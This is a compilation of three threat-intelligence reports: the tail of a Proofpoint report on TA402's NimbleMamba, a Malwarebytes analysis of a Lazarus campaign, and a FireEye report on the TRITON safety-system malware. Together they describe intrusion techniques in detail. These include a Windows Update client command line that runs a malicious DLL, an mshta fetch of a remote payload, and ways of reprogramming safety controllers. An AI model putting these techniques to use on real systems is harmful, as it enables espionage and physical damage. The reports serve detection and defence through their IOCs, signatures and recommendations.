The resulting string is used as a folder name that is created on the Dropbox account using their API with the API key deobfuscated (Figure 6) from the JustPasteIt post.
10/15 Figure 6.
Dropbox API key deobfuscation.
From there, the malware starts communicating with Dropbox to obtain a RAR file and a decoy file that is immediately displayed to the user if present.
The decoy file is often an office document or PDF.
The RAR file is password-protected with a password stored as the second comma-separated value in the OOOO argument from the JustPasteIt paste and dropped to the folder pointed by the first parameter in OOOO.
The downloaded RAR file contains two additional executables, an updated sample of NimbleMamba along with an executable that contains a screenshot of the functionality.
This technique allows for TA402 to serve additional payloads to targeted NimbleMamba victims.
Pivoting on the JustPasteIt user Nefaty Benet (Researcher Note: This account is likely meant to impersonate the Israeli Prime Minister Naftali Bennett) allows us to see that the NimbleMamba campaign likely started in August 2021, two months after Proofpoints previous research.
This timeframe is consistent with the compile dates of the NimbleMamba samples identified in VirusTotal.
https://web.archive.org/web/20220104165321/https://justpaste.it/u/nefaty_benet 11/15 Figure 7.
Pivot to all pastes created by user Nefaty Benet.
Functionality NimbleMamba has the traditional capabilities of an intelligence-gathering trojan and is likely designed to be the initial access.
Functionalities include capturing screenshots and obtaining process information from the computer.
Additionally, it can detect user interaction, such as looking for mouse movement.
BrittleBush Trojan Later versions of the RAR files that deliver NimbleMamba also included a small trojan application Proofpoint dubbed BrittleBush (2E4671C517040CBD66A1BE0F04FB8F2AF7064FEF2B5EE5E33D1F9D347E4C419F).
This trojan communicated with easyuploadservice[.
]com and received commands as base64 encoded JSON structure.
12/15 Figure 8.
BrittleBush JSON structure.
Attribution Proofpoint attributes the campaigns to TA402 based on both technical indicators and victimology.
The observed attack chains mimic historical TA402 campaigns, some of which are discussed in Proofpoints June 2021 research.
The phishing campaigns share thematic elements with historical Molerats campaigns.
For example, the December 2021 campaign contained a title bearing significant similarities to a 2015 TA402 campaign reported by Kaspersky.
Campaign Arabic Title  Translation 2015 Kaspersky Campaign   exe.
Leaked conversation with the Egyptian leader of military forces Sodqi Sobhi[.
]exe December 2021 Campaign   Secret meeting between bin Salman and Erdogan in Qatar The campaigns observed by Proofpoint likely occurred concurrently to Zscalers recently published research on Molerats activity targeting individuals in Palestine  Turkey and demonstrate Molerats continued ability to modify their attack chain based on their intelligence targets.
The significant technical connections between the DropBox accounts used by the LastConn malware, the account used to deploy NimbleMamba, and the account used to store intelligence exfiltrated by NimbleMamba indicate that LastConn and NimbleMamba are almost certainly deployed by the same operators.
This was based on the findings found during the investigation performed by Dropbox Security Team, which neutralized all the associated accounts.
https://www.proofpoint.com/us/blog/threat-insight/new-ta402-molerats-malware-targets-governments-middle-east https://securelist.com/gaza-cybergang-wheres-your-ir-team/72283/ https://www.zscaler.com/blogs/security-research/new-espionage-attack-molerats-apt-targeting-users-middle-east 13/15 Technical intelligence, including analysis of Molerats network activity from TeamCymru, indicates NimbleMamba developers operate in the interest of the Palestinian Territories.
The guardrails employed by NimbleMamba demonstrate a clear focus on targeting Arabic speakers along with computers in the Middle East.
Proofpoint observed campaigns targeting Middle Eastern governments, foreign policy think tanks, and a state-affiliated airline.
Proofpoint assesses TA402 likely operates in support of Palestinian objectives, which is consistent with prior Proofpoint and the broader industrys previously published assessments.
Conclusion TA402 continues to be an effective threat actor that demonstrates its persistence with its highly targeted campaigns focused on the Middle East.
Based on the variations between campaigns delivering NimbleMamba, along with the historical pattern of developing new malware post disclosure, Proofpoint judges with moderate confidence that TA402 will continue to update both their implants and infection chains to complicate defensive efforts.
Indicators of Compromise (IOCs) IOC IOC Type 430c12393a1714e3f5087e1338a3e3846ab62b18d816cc4916749a935f8dab44 SHA256 c61fcd8bed15414529959e8b5484b2c559ac597143c1775b1cec7d493a40369d SHA256 uggboots4sale[.
]com Domain 925aff03ab009c8e7935cfa389fc7a34482184cc310a8d8f88a25d9a89711e86 SHA256 https://team-cymru.com/blog/2022/01/26/analysis-of-a-management-ip-address-linked-to-molerats-apt/ 14/15 ET Signatures 2035112 TA402/Molerats CnC Checkin 2035113 TA402/Molerats Payload Downloaded 2035120 TA402/Molerats CnC Activity 2035121 TA402/Molerats External IP Lookup Activity 2035122 TA402/Molerats Related Malware Domain in DNS Lookup 2035123 TA402/Molerats Related Malware Domain in DNS Lookup YARA Signatures rule Proofpoint_Molerats_TA402_NimbleMamba meta: description  Detects .NET written NimbleMamba malware used by TA402/Molereats author  Proofpoint Threat Research disclaimer  Yara signature created for hunting purposes - not quality controlled within enterprise environment hash1  430c12393a1714e3f5087e1338a3e3846ab62b18d816cc4916749a935f8dab44 hash2  c61fcd8bed15414529959e8b5484b2c559ac597143c1775b1cec7d493a40369d strings: dotnet  Strings ascii dropbox  dropboxapi.com ascii wide justpaste  justpaste.it wide ip_1  api.ipstack.com wide easyuploadservice[.
]com Domain 2e4671c517040cbd66a1be0f04fb8f2af7064fef2b5ee5e33d1f9d347e4c419f SHA256 15/15 ip_2  myexternalip.com wide ip_3  ip-api.com wide ip_4  api.ipify.com wide vm_1  VMwareVIRTUALA M IXen wide vm_2  MicrosoftVMWareVirtual wide condition: uint16be(0)  0x4D5A and dotnet and dropbox and justpaste and any of (ip_) and any of (vm_)  Subscribe to the Proofpoint Blog Select
1/16 Threat Intelligence Team January 27, 2022 North Koreas Lazarus APT leverages Windows Update client, GitHub in latest campaign blog.malwarebytes.com/threat-intelligence/2022/01/north-koreas-lazarus-apt-leverages-windows-update-client-github-in-latest- campaign This blog was authored by Ankur Saini and Hossein Jazi Lazarus Group is one of the most sophisticated North Korean APTs that has been active since 2009.
The group is responsible for many high profile attacks in the past and has gained worldwide attention.
The Malwarebytes Threat Intelligence team is actively monitoring its activities and was able to spot a new campaign on Jan 18th 2022.
In this campaign, Lazarus conducted spear phishing attacks weaponized with malicious documents that use their known job opportunities theme.
We identified two decoy documents masquerading as American global security and aerospace giant Lockheed Martin.
In this blog post, we provide technical analysis of this latest attack including a clever use of Windows Update to execute the malicious payload and GitHub as a command and control server.
We have reported the rogue GitHub account for harmful content.
Analysis The two macro-embedded documents seem to be luring the targets about new job opportunities at Lockheed Martin: Lockheed_Martin_JobOpportunities.docx Salary_Lockheed_Martin_job_opportunities_confidential.doc https://blog.malwarebytes.com/threat-intelligence/2022/01/north-koreas-lazarus-apt-leverages-windows-update-client-github-in-latest-campaign/ https://twitter.com/h2jazi/status/1483521532433473536 https://www.clearskysec.com/wp-content/uploads/2020/08/Dream-Job-Campaign.pdf 2/16 The compilation time for both of these documents is 2020-04-24, but we have enough indicators that confirm that they have been used in a campaign around late December 2021 and early 2022.
Some of the indicators that shows this attack operated recently are the domains used by the threat actor.
Both of the documents use the same attack theme and have some common things like embedded macros but the full attack chain seems to be totally different.
The analysis provided in the blog is mainly based on the Lockheed_Martin_JobOpportunities.docx document but we also provide brief analysis for the second document (Salary_Lockheed_Martin_job_opportunities_confidential.doc) at the end of this blog.
Figure 1: Document Preview Attack Process The below image shows the full attack process which we will discuss in detail in this article.
The attack starts by executing the malicious macros that are embedded in the Word document.
The malware performs a series of injections and achieves startup persistence in the target system.
In the next section we will provide technical details about various stages of this attack and its payload capabilities.
https://blog.malwarebytes.com/wp-content/uploads/2022/01/Screenshot-2022-01-25-at-9.56.22-PM-1.jpg 3/16 Figure 2: Attack Process Macros: Control flow hijacking through KernelCallbackTable Figure 3: Macros Snippet https://blog.malwarebytes.com/wp-content/uploads/2022/01/Screenshot-2022-01-25-at-4.44.58-PM-1.jpg https://blog.malwarebytes.com/wp-content/uploads/2022/01/Screenshot-2022-01-25-at-12.08.26-AM-1.jpg 4/16 The above code uses a very unusual and lesser known technique to hijack the control flow and execute malicious code.
The malware retrieves the address of the WMIsAvailableOffline function from wmvcore.dll, then it changes the memory protection permissions for code in WMIsAvailableOffline and proceeds to overwrite the code in memory with the malicious base64 decoded shell-code.
Another interesting thing happening in the above code is the control flow hijacking through the KernelCallbackTable member of the PEB.
A call to NtQueryInformationProcess is made with ProcessBasicInformation class as the parameter which helps the malware to retrieve the address of PEB and thus retrieving the KernelCallbackTable pointer.
Figure 4: KernelCallbackTable in memory KernelCallbackTable is initialized to an array of callback functions when user32.dll is loaded into memory, which are used whenever a graphical call (GDI) is made by the process.
To hijack the control flow, malware replaces the USER32_fnDWORD callback in the table with the malicious WMIsAvailableOffline function.
Once the flow is hijacked and malicious code is executed the rest of the code takes care of restoring the KernelCallbackTable to its original state.
Shellcode Analysis The shellcode loaded by the macro contains an encrypted DLL which is decrypted at runtime and then manually mapped into memory by the shellcode.
After mapping the DLL, the shellcode jumps to the entry point of that DLL.
The shellcode uses some kind of custom hashing method to resolve the APIs.
We used hollows_hunter to dump the DLL and reconstruct the IAT once it is fully mapped into memory.
https://blog.malwarebytes.com/wp-content/uploads/2022/01/Screenshot-2022-01-25-at-3.18.11-AM-1.jpg https://github.com/hasherezade/hollows_hunter 5/16 Figure 5: API resolving The hashing function accepts two parameters: the hash of the DLL and the hash of the function we are looking for in that DLL.
A very simple algorithm is used for hashing APIs.
The following code block shows this algorithm: def string_hashing(name): hash  0 for i in range(0, len(name)): hash  2  (hash  (ord(name[i])  0x60)) return hash The shellcode and all the subsequent inter-process Code/DLL injections in the attack chain use the same injection method as described below.
Code Injection The injection function is responsible for resolving all the required API calls.
It then opens a handle to the target process by using the OpenProcess API.
It uses the SizeOfImage field in the NT header of the DLL to be injected into allocated space into the target process along with a separate space for the init_dll function.
The purpose of the init_dll function is to initialize the injected DLL and then pass the control flow to the entry point of the DLL.
One thing to note here is a simple CreateRemoteThread method is used to start a thread inside the target process unlike the KernelCallbackTable technique used in our macro.
https://blog.malwarebytes.com/wp-content/uploads/2022/01/Screenshot-2022-01-25-at-4.40.42-AM.jpg 6/16 Figure 6: Target Process Injection through CreateRemoteThread Malware Components stage1_winword.dll  This is the DLL which is mapped inside the Word process.
This DLL is responsible for restoring the original state of KernelCallbackTable and then injecting stage2_explorer.dll into the explorer.exe process.
Figure 7: Restoring KernelCallbackTable to original state stage2_explorer.dll  The winword.exe process injects this DLL into the explorer.exe process.
With brief analysis we find out that the .data section contains two additional DLLs.
We refer to them as drops_lnk.dll and stage3_runtimebroker.dll.
By analyzing stage2_explorer.dll a bit further we can easily understand the purpose of this DLL.
https://blog.malwarebytes.com/wp-content/uploads/2022/01/Screenshot-2022-01-25-at-2.55.32-PM-1.jpg https://blog.malwarebytes.com/wp-content/uploads/2022/01/Screenshot-2022-01-25-at-9.27.46-PM-1.jpg 7/16 Figure 8: stage2_explorer main routine The above code snippet shows the main routine of stage2_explorer.dll.
As you can see it checks for the existence of C:\Wndows\system32\wuaueng.dll and then if it doesnt exist it takes its path to drop additional files.
It executes the drops_lnk.dll in the current process and then tries to create the RuntimeBroker process and if successful in creating RuntimeBroker, it injects stage3_runtimebroker.dll into the newly created process.
If for some reason process creation fails, it just executes stage3_runtimebroker.dll in the current explorer.exe process.
https://blog.malwarebytes.com/wp-content/uploads/2022/01/Screenshot-2022-01-25-at-4.24.42-PM-1.jpg 8/16 drops_lnk.dll  This DLL is loaded and executed inside the explorer.exe process, it mainly drops the lnk file (WindowsUpdateConf.lnk) into the startup folder and then it checks for the existence of wuaueng.dll in the malicious directory and manually loads and executes it from the disk if it exists.
The lnk file (WindowsUpdateConf.lnk) executes C:\Windows\system32\wuauclt.exe /UpdateDeploymentProvider C:\Wndows\system32\wuaueng.dll /RunHandlerComServer.
This is an interesting technique used by Lazarus to run its malicious DLL using the Windows Update Client to bypass security detection mechanisms.
With this method, the threat actor can execute its malicious code through the Microsoft Windows Update client by passing the following arguments: /UpdateDeploymentProvider, Path to malicious dll and /RunHandlerComServer argument after the dll.
Figure 9: Startup folder path Figure 10: WindowsUpdateConf lnk stage3_runtimebroker.dll  This DLL is responsible for creating the malicious directory (C:\Wndows\system32\) and then drops the wuaueng.dll in that directory, furthermore it sets the attributes of the directory to make it hidden.
Figure 11: stage3_runtimebroker main routine wuaueng.dll  This is one of the most important DLLs in the attack chain.
This malicious DLL is signed with a certificate which seems to belong to SAMOYAJ LIMITED, Till 20 January 2022, the DLL had (0/65) AV detections and presently only 5/65 detect it as malicious.
This DLL has embedded inside another DLL which contains the core module (core_module.dll) of this malware responsible for communicating with the Command and Control (C2) server.
This DLL can be loaded into memory in two ways: If drops_lnk.dll loads this DLL into explorer.exe then it loads the core_module.dll and then executes it If it is being executed from wuauclt.exe, then it retrieves the PID of explorer.exe and injects the core_module.dll into that process.
https://blog.malwarebytes.com/wp-content/uploads/2022/01/Screenshot-2022-01-25-at-5.04.25-PM-2.jpg https://blog.malwarebytes.com/wp-content/uploads/2022/01/Screenshot-2022-01-25-at-5.04.37-PM.jpg https://blog.malwarebytes.com/wp-content/uploads/2022/01/stage3.png 9/16 Figure 12: wuaueng.dll main routine The Core module and GitHub as a C2 Rarely do we see malware using GitHub as C2 and this is the first time weve observed Lazarus leveraging it.
Using Github as a C2 has its own drawbacks but it is a clever choice for targeted and short term attacks as it makes it harder for security products to differentiate between legitimate and malicious connections.
While analyzing the core module we were able to get the required details to access the C2 but unfortunately it was already cleaned and we were not able to get much except one of the additional modules loaded by the core_module.dll remotely (thanks to jaydinbas who shared the module with us).
https://blog.malwarebytes.com/wp-content/uploads/2022/01/Screenshot-2022-01-25-at-5.41.56-PM-1.jpg https://twitter.com/jaydinbas 10/16 Figure 13: core_module.dll C2 communication loop There seems to be no type of string encoding used so we can clearly see the strings which makes the analysis easy.
get_module_from_repo uses the hardcoded username, repo_name, directory, token to make a http request to GitHub and retrieves the files present in the images directory of the repository.
https://blog.malwarebytes.com/wp-content/uploads/2022/01/Screenshot-2022-01-25-at-8.45.43-PM-1.jpg 11/16 Figure 14: get_module_from_repo function The HTTP request retrieves contents of the files present in the repository with an interesting validation which checks that the retrieved file is a PNG.
The file that was earlier retrieved was named readme.png this PNG file has one of the malicious modules embedded in it.
The strings in the module reveal that the modules original name is GetBaseInfo.dll.
Once the malware retrieves the module it uses the map_module function to map the DLL and then looks for an exported function named GetNumberOfMethods in the malicious module.
It then executes GetNumberOfMethods and saves the result obtained by the module.
This result is committed to the remote repo under the metafiles directory with a filename denoting the time at which the module was executed.
This file committed to the repo contains the result of the commands executed by the module on the target system.
To commit the file the malware makes a PUT HTTP request to Github.
Additional Modules (GetBaseInfo.dll) This was the only module which we were able to get our hands on.
Only a single module does limit us in finding all the capabilities this malware has.
Also its a bit difficult to hunt for these modules as they never really touch the disk which makes them harder to detect by AVs.
The only way to get the modules would be to access the C2 and download the modules while they are live.
Coming back to this module, it has very limited capabilities.
It retrieves the Username, ComputerName and a list of all the running processes on the system and then returns the result so it can be committed to the C2.
https://blog.malwarebytes.com/wp-content/uploads/2022/01/git-1.png 12/16 Figure 15: GetBaseInfo module retrieving the information GitHub Account The account with the username DanielManwarningRep is used to operate the malware.
The account was created on January 17th, 2022 and other than this we were not able to find any information related to the account.
Figure 16: Account details from the token used https://blog.malwarebytes.com/wp-content/uploads/2022/01/Screenshot-2022-01-25-at-9.14.25-PM-1.jpg 13/16 Second Malicious Document used in the campaign Malicious Document  Salary_Lockheed_Martin_job_opportunities_confidential.doc (0160375e19e606d06f672be6e43f70fa70093d2a30031affd2929a5c446d07c1) The initial attack vector used in this document is similar to the first document but the malware dropped by the macro is totally different.
Sadly, the C2 for this malware was down by the time we started analyzing it.
This document uses KernelCallbackTable as well to hijack the control flow just like our first module, the injection technique used by the shellcode also resembles the first document.
The major difference in this document is that it tries to retrieve a remote HTML page and then executes it using mshta.exe.
The remote HTML page is located at https[:]//markettrendingcenter[.
]com/member.htm and throws a 404 Not Found which makes it difficult for us to analyze this document any further.
Figure 17: Shellcode Attribution There are multiple indicators that suggest that this campaign has been operated by the Lazarus threat actor.
In this section we provide some of the indicators that confirm the actor behind this attack is Lazarus: Using job opportunities as template is the known method used by Lazarus to target its victims.
The documents created by this actor are well designed and contain a large icon for a known company such as LockHeed Martin, BAE Systems, Boeing and Northrop Grumman in the template.
In this campaign the actor has targeted people that are looking for job opportunities at Lockheed Martin.
Targeting the defense industry and specifically Lockheed Martin is a known target for this actor.
The documents metadata used in this campaign links them to several other documents used by this actor in the past.
https://blog.malwarebytes.com/wp-content/uploads/2022/01/seconddoc.jpg 14/16 Figure 18: Attribution based on metadata Using Frame1_Layout for macro execution and using lesser known API calls for shellcode execution is known to be used by Lazarus.
We also were able to find infrastructure overlap between this campaign and past campaigns of Lazarus (Figure 19).
Figure 19: Connection with past campaigns Conclusion Lazarus APT is one of the advanced APT groups that is known to target the defense industry.
The group keeps updating its toolset to evade security mechanisms.
In this blog post we provided a detailed analysis about the new campaign operated by this actor.
Even though they have used their old job theme method, they employed several new techniques to bypass detections: Use of KernelCallbackTable to hijack the control flow and shellcode execution Use of the Windows Update client for malicious code execution Use of GitHub for C2 communication https://blog.malwarebytes.com/wp-content/uploads/2022/01/attrib.png https://research.nccgroup.com/2021/01/23/rift-analysing-a-lazarus-shellcode-execution-method/ https://blog.malwarebytes.com/wp-content/uploads/2022/01/connection_.png 15/16 IOCs: Maldocs: 0d01b24f7666f9bccf0f16ea97e41e0bc26f4c49cdfb7a4dabcc0a494b44ec9b Lockheed_Martin_JobOpportunities.docx 0160375e19e606d06f672be6e43f70fa70093d2a30031affd2929a5c446d07c1 Salary_Lockheed_Martin_job_opportunities_confidential.doc Domains: markettrendingcenter.com lm-career.com Payloads: Name Sha256 readme.png 4216f63870e2cdfe499d09fce9caa301f9546f60a69c4032cb5fb6d5ceb9af32 wuaueng.dll 829eceee720b0a3e505efbd3262c387b92abdf46183d51a50489e2b157dac3b1 stage1_winword.dll f14b1a91ed1ecd365088ba6de5846788f86689c6c2f2182855d5e0954d62af3b stage2_explorer.dll 660e60cc1fd3e155017848a1f6befc4a335825a6ae04f3416b9b148ff156d143 drops_lnk.dll 11b5944715da95e4a57ea54968439d955114088222fd2032d4e0282d12a58abb stage3_runtimebroker.dll 9d18defe7390c59a1473f79a2407d072a3f365de9834b8d8be25f7e35a76d818 core_module.dll c677a79b853d3858f8c8b86ccd8c76ebbd1508cc9550f1da2d30be491625b744 GetBaseInfo.dll 5098ec21c88e14d9039d232106560b3c87487b51b40d6fef28254c37e4865182 16/16
Attackers Deploy New ICS Attack Framework TRITON and Cause Operational Disruption to Critical Infrastructure www.fireeye.com/blog/threat-research/2017/12/attackers-deploy-new-ics-attack-framework-triton.html Introduction Mandiant recently responded to an incident at a critical infrastructure organization where an attacker deployed malware designed to manipulate industrial safety systems.
The targeted systems provided emergency shutdown capability for industrial processes.
We assess with moderate confidence that the attacker was developing the capability to cause physical damage and inadvertently shutdown operations.
This malware, which we call TRITON, is an attack framework built to interact with Triconex Safety Instrumented System (SIS) controllers.
We have not attributed the incident to a threat actor, though we believe the activity is consistent with a nation state preparing for an attack.
TRITON is one of a limited number of publicly identified malicious software families targeted at industrial control systems (ICS).
It follows Stuxnet which was used against Iran in 2010 and Industroyer which we believe was deployed by Sandworm Team against Ukraine in 2016.
TRITON is consistent with these attacks, in that it could prevent safety mechanisms from executing their intended function, resulting in a physical consequence.
Malware Family Main Modules Description TRITON trilog.exe Main executable leveraging libraries.zip library.zip Custom communication library for interaction with Triconex controllers.
Table 1: Description of TRITON Malware Incident Summary The attacker gained remote access to an SIS engineering workstation and deployed the TRITON attack framework to reprogram the SIS controllers.
During the incident, some SIS controllers entered a failed safe state, which automatically shutdown the industrial process and prompted the asset owner to initiate an investigation.
The investigation found that the SIS controllers initiated a safe shutdown when application code between redundant processing units failed a validation check -- resulting in an MP diagnostic failure message.
We assess with moderate confidence that the attacker inadvertently shutdown operations while developing the ability to cause physical damage for the following reasons: 1/10 https://www.fireeye.com/blog/threat-research/2017/12/attackers-deploy-new-ics-attack-framework-triton.html https://www.fireeye.com/services.html https://www.fireeye.com/solutions/industrial-systems-and-critical-infrastructure-security.html https://www.fireeye.com/company/press-releases/2014/fireeye-reveals-rise-in-advanced-threat-activities-by-iranian-linked-ajax-security-team-in-post-stuxnet-era.html Modifying the SIS could prevent it from functioning correctly, increasing the likelihood of a failure that would result in physical consequences.
TRITON was used to modify application memory on SIS controllers in the environment, which could have led to a failed validation check.
The failure occurred during the time period when TRITON was used.
It is not likely that existing or external conditions, in isolation, caused a fault during the time of the incident.
Attribution FireEye has not connected this activity to any actor we currently track however, we assess with moderate confidence that the actor is sponsored by a nation state.
The targeting of critical infrastructure as well as the attackers persistence, lack of any clear monetary goal and the technical resources necessary to create the attack framework suggest a well-resourced nation state actor.
Specifically, the following facts support this assessment: The attacker targeted the SIS suggesting an interest in causing a high-impact attack with physical consequences.
This is an attack objective not typically seen from cyber-crime groups.
The attacker deployed TRITON shortly after gaining access to the SIS system, indicating that they had pre-built and tested the tool which would require access to hardware and software that is not widely available.
TRITON is also designed to communicate using the proprietary TriStation protocol which is not publicly documented suggesting the adversary independently reverse engineered this protocol.
The targeting of critical infrastructure to disrupt, degrade, or destroy systems is consistent with numerous attack and reconnaissance activities carried out globally by Russian, Iranian, North Korean, U.S., and Israeli nation state actors.
Intrusions of this nature do not necessarily indicate an immediate intent to disrupt targeted systems, and may be preparation for a contingency.
Background on Process Control and Safety Instrumented Systems 2/10 https://www.fireeye.com/index.html Figure 1: ICS Reference Architecture Modern industrial process control and automation systems rely on a variety of sophisticated control systems and safety functions.
These systems and functions are often referred to as Industrial Control Systems (ICS) or Operational Technology (OT).
A Distributed Control System (DCS) provides human operators with the ability to remotely monitor and control an industrial process.
It is a computerized control system consisting of computers, software applications and controllers.
An Engineering Workstation is a computer used for configuration, maintenance and diagnostics of the control system applications and other control system equipment.
A SIS is an autonomous control system that independently monitors the status of the process under control.
If the process exceeds the parameters that define a hazardous state, the SIS attempts to bring the process back into a safe state or automatically performs a safe shutdown of the process.
If the SIS and DCS controls fail, the final line of defense is the design of the industrial facility, which includes mechanical protections on equipment (e.g.
rupture discs), physical alarms, emergency response procedures and other mechanisms to mitigate 3/10 https://www.fireeye.com/solutions/industrial-systems-and-critical-infrastructure-security.html dangerous situations.
Asset owners employ varied approaches to interface their plants DCS with the SIS.
The traditional approach relies on the principles of segregation for both communication infrastructures and control strategies.
For at least the past decade, there has been a trend towards integrating DCS and SIS designs for various reasons including lower cost, ease of use, and benefits achieved from exchanging information between the DCS and SIS.
We believe TRITON acutely demonstrates the risk associated with integrated designs that allow bi- directional communication between DCS and SIS network hosts.
Safety Instrumented Systems Threat Model and Attack Scenarios Figure 2: Temporal Relationship Between Cyber Security and Safety The attack lifecycle for disruptive attacks against ICS is similar to other types of cyber attacks, with a few key distinctions.
First, the attackers mission is to disrupt an operational process rather than steal data.
Second, the attacker must have performed OT reconnaissance and have sufficient specialized engineering knowledge to understand the industrial process being controlled and successfully manipulate it.
Figure 2 represents the relationship between cyber security and safety controls in a process control environment.
Even if cyber security measures fail, safety controls are designed to prevent physical damage.
To maximize physical impact, a cyber attacker would also need to bypass safety controls.
The SIS threat model below highlights some of the options available to an attacker who has successfully compromised an SIS.
4/10 Attack Option 1: Use the SIS to shutdown the process The attacker can reprogram the SIS logic to cause it to trip and shutdown a process that is, in actuality, in a safe state.
In other words, trigger a false positive.
Implication: Financial losses due to process downtime and complex plant start up procedure after the shutdown.
Attack Option 2: Reprogram the SIS to allow an unsafe state The attacker can reprogram the SIS logic to allow unsafe conditions to persist.
Implication: Increased risk that a hazardous situation will cause physical consequences (e.g.
impact to equipment, product, environment and human safety) due to a loss of SIS functionality.
Attack Option 3: Reprogram the SIS to allow an unsafe state  while using the DCS to create an unsafe state or hazard The attacker can manipulate the process into an unsafe state from the DCS while preventing the SIS from functioning appropriately.
Implication: Impact to human safety, the environment, or damage to equipment, the extent of which depends on the physical constraints of the process and the plant design.
Analysis of Attacker Intent We assess with moderate confidence that the attackers long-term objective was to develop the capability to cause a physical consequence.
We base this on the fact that the attacker initially obtained a reliable foothold on the DCS and could have developed the capability to manipulate the process or shutdown the plant, but instead proceeded to compromise the SIS system.
Compromising both the DCS and SIS system would enable the attacker to develop and carry out an attack that causes the maximum amount of damage allowed by the physical and mechanical safeguards in place.
Once on the SIS network, the attacker used their pre-built TRITON attack framework to interact with the SIS controllers using the TriStation protocol.
The attacker could have caused a process shutdown by issuing a halt command or intentionally uploading flawed code to the SIS controller to cause it to fail.
Instead, the attacker made several attempts over a period of time to develop and deliver functioning control logic for the SIS controllers in this target environment.
While these attempts appear to have failed due one of the attack scripts conditional checks, the attacker persisted with their efforts.
This suggests the attacker was intent on causing a specific outcome beyond a process shutdown.
Of note, on several occasions, we have observed evidence of long term intrusions into ICS which were not ultimately used to disrupt or disable operations.
For instance, Russian operators, such as Sandworm Team, have compromised Western ICS over a multi-year period without causing a disruption.
Summary of Malware Capabilities 5/10 The TRITON attack tool was built with a number of features, including the ability to read and write programs, read and write individual functions and query the state of the SIS controller.
However, only some of these capabilities were leveraged in the trilog.exe sample (e.g.
the attacker did not leverage all of TRITONs extensive reconnaissance capabilities).
The TRITON malware contained the capability to communicate with Triconex SIS controllers (e.g.
send specific commands such as halt or read its memory content) and remotely reprogram them with an attacker-defined payload.
The TRITON sample Mandiant analyzed added an attacker-provided program to the execution table of the Triconex controller.
This sample left legitimate programs in place, expecting the controller to continue operating without a fault or exception.
If the controller failed, TRITON would attempt to return it to a running state.
If the controller did not recover within a defined time window, this sample would overwrite the malicious program with invalid data to cover its tracks.
Recommendations Asset owners who wish to defend against the capabilities demonstrated in the incident, should consider the following controls: Where technically feasible, segregate safety system networks from process control and information system networks.
Engineering workstations capable of programming SIS controllers should not be dual-homed to any other DCS process control or information system network.
Leverage hardware features that provide for physical control of the ability to program safety controllers.
These usually take the form of switches controlled by a physical key.
On Triconex controllers, keys should not be left in the PROGRAM mode other than during scheduled programming events.
Implement change management procedures for changes to key position.
Audit current key state regularly.
Use a unidirectional gateway rather than bidirectional network connections for any applications that depend on the data provided by the SIS.
Implement strict access control and application whitelisting on any server or workstation endpoints that can reach the SIS system over TCP/IP.
Monitor ICS network traffic for unexpected communication flows and other anomalous activity.
6/10 Figure 3: Triconex Key Switch (source) Appendix: Technical Analysis Figure 4: TRITON Architecture and Attack Scenario TRITON was deployed on an SIS engineering workstation running the Microsoft Windows operating system.
The malware was named to masquerade as the legitimate Triconex Trilog application.
This application is used for reviewing logs and is a part of the TriStation application suite.
The malware was delivered as a Py2EXE compiled python script dependent on a zip file containing standard Python libraries, open source libraries, as well as the attacker- 7/10 https://images-na.ssl-images-amazon.com/images/I/41jr93jKzML._SX466_.jpg developed Triconex attack framework for interacting with the Triconex controllers.
Along with the executable, two binary files, inject.bin (malicious function code) and imain.bin (malicious control logic), were deployed as the controllers payload.
These file names were hard coded in the Py2EXE compiled python script.
Trilog.exe took one option from the command line, which was a single IP address of the target Triconex device.
It did not leverage the underlying TRITON librarys capability for Triconex device discovery, instead an instance of trilog.exe had to be invoked separately for each target controller in the environment.
Once invoked, trilog.exe checked the status of the controller, then read the configuration information exposed by the TriStation protocol.
If the controller was in a running state, trilog.exe encoded the two payload files inject.bin and imain.bin and passed them to the communication libraries to be appended to the controllers program memory and execution table.
After payload files were inserted into memory on the Triconex controller, the script initiated a countdown, periodically checking the status of the controller.
If an error was detected, the communication librarys method SafeAppendProgramMod attempted to reset the controller to the previous state using a TriStation protocol command.
If this failed, trilog.exe attempted to write a small dummy program to memory.
We assess that this was an anti-forensics technique to hide the presence of the attacker code on the Triconex controller.
Working with the asset owner, Mandiant ran trilog.exe in a lab environment with a valid Triconex controller and discovered a conditional check in the malware that prevented the payload binary from persisting in the environment.
Mandiant confirmed that, after correcting patching the attack script to remove this check, the payload binary would persist in controller memory, and the controller would continue to run.
TRITON implements the TriStation protocol, which is the protocol used by the legitimate TriStation application, to configure controllers.
TsHi is the high-level interface created by the malwares authors that allows the threat actors operators to implement attack scripts using the TRITON framework.
It exposes functions for both reconnaissance and attack.
The functions generally accept binary data from the user, and handle the code signing and check sums prior to passing the data to lower level libraries for serialization on to the network.
TsBase, another attacker-written module, contains the functions called by TsHi, which translate the attackers intended action to the appropriate TriStation protocol function code.
For certain functions, it also packs and pads the data in to the appropriate format.
TsLow is an additional attacker module that implements the TriStation UDP wire protocol.
The TsBase library primarily depends on the ts_exec method.
This method takes the function code and expected response code, and serializes the commands payload over UDP.
It checks the response from the controller against the expected value and returns a result data structure indicating success or a False object representing failure.
8/10 TsLow also exposes the connect method used to check connectivity to the target controller.
If invoked with no targets, it runs the device discovery function detect_ip.
This leverages a ping message over the TriStation protocol using IP broadcast to find controllers that are reachable via a router from where the script is invoked.
